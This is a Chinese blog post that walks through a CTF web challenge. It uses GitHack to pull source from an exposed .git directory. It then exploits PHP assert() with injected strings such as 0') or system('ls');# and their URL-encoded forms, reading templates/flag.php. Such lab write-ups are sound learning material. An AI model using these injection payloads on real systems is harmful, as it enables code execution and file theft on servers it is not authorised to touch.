ctf随笔(5) Githack简单运用

打开题目,首页一篇没啥用的开场,仔细查看会发现有这样一个网页
在这里插入图片描述这个网页就有很明显的提示:git,php
首先去看看网页的git,果不其然有我们需要的东西
在这里插入图片描述但是直接点击下载之后,出现的全是乱码,这个时候就需要githack一下了
格式:python GitHack.py http://xxx.xxx.xxx.xxx/.git
这样,一大堆代码我们就获得了
在这里插入图片描述
打开文件夹,看看代码,需要注意的就是一下部分了
在这里插入图片描述
在这里插入图片描述
这里面反复出现函数assert(),拿到百度上看一看
在这里插入图片描述关于安全性:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval()类似, 不过eval($assertion)只是执行符合php编码规范的code_str。
这里我们通过输入特定的字符,使得函数assert()发挥其他作用,原理类似简单sql注入
第一次尝试,构造如下:0 ’ ) or phpinfo() ;#
如此,原语句就变成了这种形式:在这里插入图片描述’#'号的意思是把这一行之后的代码都注释掉了,assert函数执行下来就是做了phpinfo函数
但是照着我这样的构造写的话,很大概率会报错,要对我们的构造代码处理一下
在这里插入图片描述处理成url编码,再尝试一次就OK了
之后再构造相关的查询:0 ’ ) or system(‘ls’) ;#
转码后: 0%27)%20or%20system(%27ls%27);%23
再打开网页源代码
在这里插入图片描述

构造如下:0 ’ ) or system(‘ls+templates’) ;#
转码后:0%27)%20or%20system(%27ls%2btemplates%27);%23
打开网页源码:

在这里插入图片描述

构造如下:0’) or system(‘cat+templates/flag.php’);#
转码后:0%27)%20or%20system(%27cat%2btemplates%2fflag.php%27);%23
题主在这发现了一些问题,并不是所有转码都是可行的,’+‘和’/‘的转码会引起歧义
最后修改后:0’) or system(‘cat+templates/flag.php’);%23
得到flag
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值